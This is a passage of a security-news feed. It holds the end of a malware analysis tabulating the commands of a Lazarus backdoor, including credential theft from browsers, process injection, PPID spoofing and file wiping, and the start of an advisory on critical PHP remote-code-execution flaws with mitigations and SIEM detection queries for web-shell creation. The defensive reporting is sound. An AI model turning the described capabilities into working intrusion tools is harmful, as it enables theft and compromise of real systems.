href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6.png"><img alt="Cubridge's communication sequence" aria-describedby="caption-attachment-121578-2" class="size-full wp-image-121578" decoding="async" height="1673" sizes="auto, (max-width: 2255px) 100vw, 2255px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6.png 2255w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-300x223.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-1024x760.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-768x570.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-1536x1140.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-2048x1519.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-472x350.png 472w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-740x549.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-377x280.png 377w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20142112/lazarus-operation6-800x594.png 800w" title="lazarus-operation6" width="2255" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121578-2">Cubridge’s communication sequence</p></div> <p>Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:</p> <ul> <li>Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);</li> <li>Tools (in DLL form) – independent utilities that perform one-off tasks;</li> <li>Modules – components that are loaded once and remain active providing an extended set of functionalities.</li> </ul> <p>It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its <code>DllMain</code> entry point and its parameters are accessible; no other exported functions are exposed.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Payload type</strong></td> <td><strong>Description</strong></td> </tr> <tr> <td>0</td> <td rowspan="3">–</td> <td>Collect device info including the computer name, time zone, PID, and other similar details</td> </tr> <tr> <td>1</td> <td>Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: <code>xdkiTajAAxc3i/w[&lt;881fnC!G*cb1Dit2sh.gAk/</code></td> </tr> <tr> <td>2</td> <td>Create a file at the specified path</td> </tr> <tr> <td>3</td> <td>Possibly plugin</td> <td>Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection</td> </tr> <tr> <td>4</td> <td rowspan="4">Plugin</td> <td>Reflectively load a plugin in DLL format</td> </tr> <tr> <td>5</td> <td>Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters</td> </tr> <tr> <td>6</td> <td>Retrieve all information about the loaded plugins</td> </tr> <tr> <td>7</td> <td>Unload the specified plugin</td> </tr> <tr> <td>8</td> <td rowspan="5">Shellcode</td> <td>Inject the provided shellcode into the target process and load it using section mapping injection</td> </tr> <tr> <td>9</td> <td>Load the provided shellcode directly into memory</td> </tr> <tr> <td>10</td> <td>Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter</td> </tr> <tr> <td>11</td> <td>Retrieve all information about the loaded shellcode</td> </tr> <tr> <td>12</td> <td>Unload the specified shellcode</td> </tr> <tr> <td>13</td> <td rowspan="5">–</td> <td>Set the scheduled Cubridge execution time (in minutes) by updating a global variable</td> </tr> <tr> <td>14</td> <td>Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable</td> </tr> <tr> <td>15</td> <td>Terminate in a controlled manner</td> </tr> <tr> <td>16</td> <td>Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.</td> </tr> <tr> <td>17</td> <td>Update the global flags, the number of C2 servers, the C2 addresses, etc.</td> </tr> <tr> <td>18</td> <td rowspan="3">Tool</td> <td>Load a DLL reflectively with the specified parameter</td> </tr> <tr> <td>19</td> <td>Configure the parameters for loading a single DLL</td> </tr> <tr> <td>20</td> <td>Unload the single DLL</td> </tr> <tr> <td>21</td> <td rowspan="2">Module</td> <td>Load the “action module” (<code>ActionModule.dll</code>) reflectively and invoke its <code>AppinfoView</code> export function</td> </tr> <tr> <td>22</td> <td>Load the “function module” (<code>FunctionModule.dll</code>) reflectively and invoke its <code>PresentationFontConfig</code> export function</td> </tr> </tbody> </table> <p>Commands <code>21</code> and <code>22</code> each load a different module. As their internal names imply, the <strong>action module</strong> manages basic file and process operations, while the <strong>function module</strong> implements Windows’ default commands. The action module covers commands <code>23–41</code>, and the function module handles commands <code>42–79</code>.</p> <p>The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its <code>AppinfoView</code> export function. The module supports 19 commands, numbered <code>23</code> through <code>41</code>. Execution results are first sent to Cubridge, which then forwards them to the C2 server.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Role</strong></td> </tr> <tr> <td>23</td> <td>Get local disk space for each drive</td> </tr> <tr> <td>24</td> <td>Get information about the specified file or directory</td> </tr> <tr> <td>25</td> <td>Execute the provided command</td> </tr> <tr> <td>26</td> <td>Get information about the specified file or directory (similar to command 24)</td> </tr> <tr> <td>27</td> <td>Execute the provided command under the target process (PPID spoofing)</td> </tr> <tr> <td>28</td> <td>Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)</td> </tr> <tr> <td>29</td> <td>Get detailed information about processes</td> </tr> <tr> <td>30</td> <td>Terminate the provided process</td> </tr> <tr> <td>31</td> <td>Suspend all threads belonging to the specified process</td> </tr> <tr> <td>32</td> <td>Resume all threads belonging to the specified process</td> </tr> <tr> <td>33</td> <td>Permanently delete the file by overwriting its entire contents with the sequence: <code>0 → 1 → random bytes → 1 → 0</code></td> </tr> <tr> <td>34</td> <td>Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API <code>SetFileInformationByHandle</code></td> </tr> <tr> <td>35</td> <td>Set the current working directory</td> </tr> <tr> <td>36</td> <td>Copy the specified file to the provided path</td> </tr> <tr> <td>37</td> <td>Delete the specified directory</td> </tr> <tr> <td>38</td> <td>Move the specified file to the provided path</td> </tr> <tr> <td>39</td> <td>Create the provided directory</td> </tr> <tr> <td>40</td> <td>Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)</td> </tr> <tr> <td>41</td> <td>Read the specified file</td> </tr> </tbody> </table> <p>The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its <code>DllMain</code> routine initializes all supported command functions, which are later accessed through the <code>PresentationFontConfig</code> export. Altogether, the module offers 38 commands, numbered from <code>42</code> to <code>79</code>. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Role</strong></td> </tr> <tr> <td>42</td> <td>Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: <code>xdkiTajAAxc3i/w[&lt;881fnC!G*cb1Dit2sh.gAk/</code></td> </tr> <tr> <td>43</td> <td>Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument</td> </tr> <tr> <td>44</td> <td>Get information about the specified directory</td> </tr> <tr> <td>45</td> <td>Get information about the specified drive</td> </tr> <tr> <td>46</td> <td>Inject the provided DLL payload into the target process</td> </tr> <tr> <td>47</td> <td>Unload the specified DLL from the specified process</td> </tr> <tr> <td>48</td> <td>Implementation of the <code>ipconfig</code> command</td> </tr> <tr> <td>49</td> <td>Implementation of the <code>net</code> command</td> </tr> <tr> <td>50</td> <td>Implementation of the <code>netsh advfirewall firewall</code> command</td> </tr> <tr> <td>51</td> <td>Implementation of the <code>netstat</code> command</td> </tr> <tr> <td>52</td> <td>Implementation of the <code>ping -6</code> command</td> </tr> <tr> <td>53</td> <td>Implementation of the <code>reg</code> command</td> </tr> <tr> <td>54</td> <td>Implementation of the <code>sc</code> command</td> </tr> <tr> <td>55</td> <td>Implementation of the <code>ping</code> command</td> </tr> <tr> <td>56</td> <td>Implementation of the <code>whoami</code> command</td> </tr> <tr> <td>57</td> <td>Implementation of the <code>nslookup</code> command</td> </tr> <tr> <td>58</td> <td>Implementation of the <code>schtasks</code> command</td> </tr> <tr> <td>59</td> <td>Implementation of the <code>systeminfo</code> command</td> </tr> <tr> <td>60</td> <td>Implementation of the <code>arp</code> command</td> </tr> <tr> <td>61</td> <td>Call the <code>CryptUnprotectData</code> function to retrieve the AES key that DPAPI protects. Extract the key using the <code>encrypted_key</code> keyword from Chromium’s Local State file located at: <code>%LOCALAPPDATA%\Google\Chrome\User Data\Local State</code></td> </tr> <tr> <td>62</td> <td>Not implemented</td> </tr> <tr> <td>63</td> <td>Not implemented</td> </tr> <tr> <td>64</td> <td>Read the specified file and decrypt it using an XOR operation with the key <code>0x59</code>. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: <code>xdkiTajAAxc3i/w[&lt;881fnC!G*cb1Dit2sh.gAk/</code></td> </tr> <tr> <td>65 ~ 79</td> <td>Not implemented</td> </tr> </tbody> </table> <p>Besides the modules, we also observed that the actor deployed various plugins and tools.</p> <table> <tbody> <tr> <td><strong>Type of payload</strong></td> <td><strong>Name</strong></td> <td><strong>Description</strong></td> </tr> <tr> <td>Plugin</td> <td>ADFinder (<code>AdFinder.dll</code>)</td> <td>Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names</td> </tr> <tr> <td>Plugin</td> <td>FileCollector (<code>Dll.dll</code>)</td> <td>Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each</td> </tr> <tr> <td>Tool</td> <td>Browser stealer</td> <td>Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies</td> </tr> <tr> <td>Tool</td> <td>Process collector</td> <td>Iterates over all running processes, collecting each process’s ID, path, and </td></tr></tbody></table></div></div></div></div></div></div> https://securelist.com/lazarus-operation-flashhole/121541/ cyber Wed, 21 Oct 2026 02:07:29 +0000 Critical RCE vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="js-reading-content"> <div class="c-wysiwyg"> <p><a href="https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/#SIEM" rel="noopener" target="_blank">UPD 23.10.2026</a>: added Kaspersky SIEM rules and events for developing custom detection rules or conducting threat hunting.</p> <p><a href="https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/#MDR" rel="noopener" target="_blank">UPD 22.10.2026</a>: added a description of how the Kaspersky Managed Detection and Response service detects the described malicious activity.</p> <p><a href="https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/#VM" rel="noopener" target="_blank">UPD 22.10.2026</a>: added a description of how Kaspersky Vulnerability Management detects vulnerable versions of PHP.</p> <h2 id="vulnerability-overview">Vulnerability overview</h2> <p>On October 20, 2026, the PHP security team <a href="https://www.php.net/archive/2026.php#2026-10-20-1">published a preliminary notice</a> regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC.</p> <p>The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0.</p> <p>The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, <a href="https://x.com/watchtowrcyber/status/2112611507749982605">researchers</a> confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication.</p> <p>According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism (<code>session.upload_progress</code>) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be fixed via application code, and the only fix is to update PHP on the server. The attack requires no authentication: an attacker with network access to a PHP application can execute arbitrary code with the privileges of the PHP process without needing to authenticate. <a href="https://www.php.net/index.php#2026-10-20-5">Security advisories</a> issued by the PHP team on October 21 confirm this information.</p> <p>The vulnerabilities affect PHP versions 5, 7, and 8. As of this publication, branches 8.2 through 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1.</p> <p>Sansec experts <a href="https://sansec.io/research/php2shell">estimate</a> that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available:</p> <ol> <li>Take an inventory of all PHP-based systems in your infrastructure (such as web servers, control panels, and third-party software).</li> <li>Disable upload-progress: set <code>session.upload_progress.enabled = Off</code> using the <code>php_admin_flag</code> in PHP-FPM pools.</li> <li>Block multipart requests on nginx and Apache servers.</li> <li>Consider temporarily isolating PHP applications that connect to the Internet until fixes are released.</li> <li>Be ready to install the patch immediately upon its release.</li> <li>Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch.</li> </ol> <h2 id="detection-by-kaspersky-solutions">Detection by Kaspersky solutions</h2> <p>Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.</p> <p>When an attempt is made to exploit these RCE vulnerabilities, <a href="https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr?icid=gl_sl_post-kedr-expert_sm-team_29dc1130f3f612f2" target="_blank">Kaspersky Endpoint Detection and Response</a> promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules:</p> <ul> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/ef976155-c31a-a20d-e1f0-2ed5b97cb548?icid=gl_sl_tip-rule-lnk_sm-team_b7ba2662923e4902">creating_windows_shell_from_a_web_servers_process</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/cd60357e-6d7f-d792-143f-662c999821ee?icid=gl_sl_tip-rule-lnk_sm-team_369f7c0d9c1423c3">possible_web_shell_creating_via_exploit</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/f50f890a-2459-c7a4-368b-65e1372361ee?icid=gl_sl_tip-rule-lnk_sm-team_4841557c540612a6">spawning_process_from_webserver_more_filters_linux</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/e15e40a2-26f8-e2a3-abd5-98d1e2c63bdd?icid=gl_sl_tip-rule-lnk_sm-team_866ddfe7cd389f7e">webserver_interpreter_execution_linux</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/ba0cdd92-bf2c-e0a4-660a-aecd3bbdd20e?icid=gl_sl_tip-rule-lnk_sm-team_c4e8fc8c8d70ca85">executable_file_in_www_folder</a>.</li> </ul> <div class="wp-caption aligncenter" id="attachment_121599-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1.png"><img alt="Detection of the PHP2Shell vulnerability exploit by KEDR" aria-describedby="caption-attachment-121599-2" class="size-large wp-image-121599" decoding="async" height="974" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-1024x974.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-1024x974.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-300x285.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-768x731.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-368x350.png 368w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-740x704.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-294x280.png 294w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-800x761.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1.png 1258w" title="p2pshell-1" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121599-2">Detection of the PHP2Shell vulnerability exploit by KEDR</p></div> <p>Exploitation of the PHP2Shell vulnerability in network traffic is detected by <a href="https://www.kaspersky.com/enterprise-security/anti-targeted-attack-platform?icid=gl_sl_post-kata_sm-team_839dfa6f6cbc16e1" target="_blank">Kaspersky Anti Targeted Attack (KATA)</a>. This solution detects such activity with the following verdicts: <a href="https://tip.kaspersky.com/landscape/hunts/ndr/77915054?icid=gl_sl_tip-rule-lnk_sm-team_aaa66a764fa5fc72">Exploit.CVE-2026-109618.HTTP.C&amp;C</a> and <a href="https://tip.kaspersky.com/landscape/hunts/ndr/77914996?icid=gl_sl_tip-rule-lnk_sm-team_447f937f3fb57e4a">Exploit.CVE-2026-109619.HTTP.C&amp;C</a>.</p> <div class="wp-caption aligncenter" id="attachment_121600-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2.png"><img alt="Detection of the PHP2Shell vulnerability exploit by KATA" aria-describedby="caption-attachment-121600-2" class="size-large wp-image-121600" decoding="async" height="696" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-1024x696.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-1024x696.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-300x204.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-768x522.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-515x350.png 515w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-740x503.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-412x280.png 412w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-800x544.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2.png 1056w" title="p2pshell-2" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121600-2">Detection of the PHP2Shell vulnerability exploit by KATA</p></div> <p>Kaspersky Endpoint Security, now available as <a href="https://www.kaspersky.com/next?icid=gl_sl_knext-post_sm-team_cede4e5dff54f34a" target="_blank">Kaspersky Next</a>, also detects malicious post-exploitation activity using the <a href="https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection" rel="noopener" target="_blank">Behavior Detection component</a>, with verdicts such as PDM:Exploit.Linux.Generic and PDM:Exploit.Win32.Generic.<br/> <a name="VM"></a><br/> Our <a href="https://www.kaspersky.com/enterprise-security/vulnerability-management?icid=gl_sl_vuln-management-inpost-link_sm-team_62a0555733e1ee2a" target="_blank">Kaspersky Vulnerability Management</a> solution detects vulnerable software versions using the <a href="https://support.kaspersky.com/vm/1.0/308483" target="_blank">Vulnerability scanning</a> and <a href="https://support.kaspersky.com/vm/1.0/311665?page=help" target="_blank">Agentless black-box scanning</a> components.<br/> <div class="wp-caption aligncenter" id="attachment_121623-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22111751/php2shell-3.png"><img alt="Detection of the PHP vulnerability in Kaspersky Vulnerability Management" aria-describedby="caption-attachment-121623-2" class="size-large wp-image-121623" decoding="async" height="510" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22111751/php2shell-3.png" title="php2shell-3" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121623-2">Detection of the PHP vulnerability in Kaspersky Vulnerability Management</p></div><br/> <a name="MDR"></a>The <a href="https://www.kaspersky.com/enterprise-security/managed-detection-and-response?icid=gl_sl_mdr-lnk_sm-team_195a10e9872df951" target="_blank">Kaspersky Managed Detection and Response</a> service detects the exploitation of the described vulnerabilities by monitoring activity characteristic of RCE:</p> <ul> <li>Spawning of suspicious processes by the web server;</li> <li>Creation of suspicious executable files in the web application directory;</li> <li>Creation of suspicious scripts in the web application directory;</li> <li>Creation of files with uncommon extensions in the web application directory;</li> <li>Execution of reconnaissance commands by the web server process;</li> <li>Execution of persistence commands by the web server process;</li> <li>Delivery and launch of web shells on the web server.</li> </ul> <p>Moreover, MDR detects other malicious activity not directly related to remote code execution.<br/> <a name="SIEM"></a><br/> To protect companies that use our <a href="https://www.kaspersky.com/enterprise-security/unified-monitoring-and-analysis-platform?icid=gl_sl_siem-inpost-link_sm-team_c6da27b0f60ba483" target="_blank">Kaspersky SIEM system</a>, the product repository includes rules that help detect the following malicious activity.</p> <ul> <li>Execution of suspicious executable files by web server processes on Windows and Linux machines: <ul> <li><strong>R300_04_Windows shell started by a web application</strong></li> <li><strong>R152_08_A running Linux shell process has a suspicious parent process</strong></li> </ul> </li> <li>Execution of reconnaissance commands by the web server process: <ul> <li><strong>R286_05_Possible web-shell (Linux)</strong></li> </ul> </li> </ul> <p>We also recommend monitoring the creation of scripts or executable files in the web server directory when developing your own detection rules or conducting threat hunting:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover" id="urvanov-syntax-highlighter-6ae431ca285dd089843866" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;" wrap="soft"> ((DeviceEventClassID = '4663' AND DeviceCustomString1 ilike 'WriteData') OR DeviceEventClassID = '11') AND match(FileName,'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$') AND match(DestinationProcessName,'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe')</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285dd089843866-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae431ca285dd089843866-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285dd089843866-3">3</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285dd089843866-1"><span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">DeviceEventClassID</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-s">'4663'</span><span class="crayon-h"> </span><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">DeviceCustomString1 </span><span class="crayon-i">ilike</span><span class="crayon-h"> </span><span class="crayon-s">'WriteData'</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-st">OR</span><span class="crayon-h"> </span><span class="crayon-v">DeviceEventClassID</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-s">'11'</span><span class="crayon-sy">)</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae431ca285dd089843866-2"><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">FileName</span><span class="crayon-sy">,</span><span class="crayon-s">'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$'</span><span class="crayon-sy">)</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285dd089843866-3"><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">DestinationProcessName</span><span class="crayon-sy">,</span><span class="crayon-s">'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe'</span><span class="crayon-sy">)</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0003 seconds] --> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover" id="urvanov-syntax-highlighter-6ae431ca285ea797578612" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;" wrap="soft"> Name = 'openat' AND has(SA.Nametype, 'CREATE') AND length(arrayFilter(x -&gt; match(x, '(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'), SA.FileName))&gt;1 AND length(arrayFilter(x -&gt; match(x, '\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'), SA.FileName))&gt;1</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-2">2</div><div class="crayon-num" 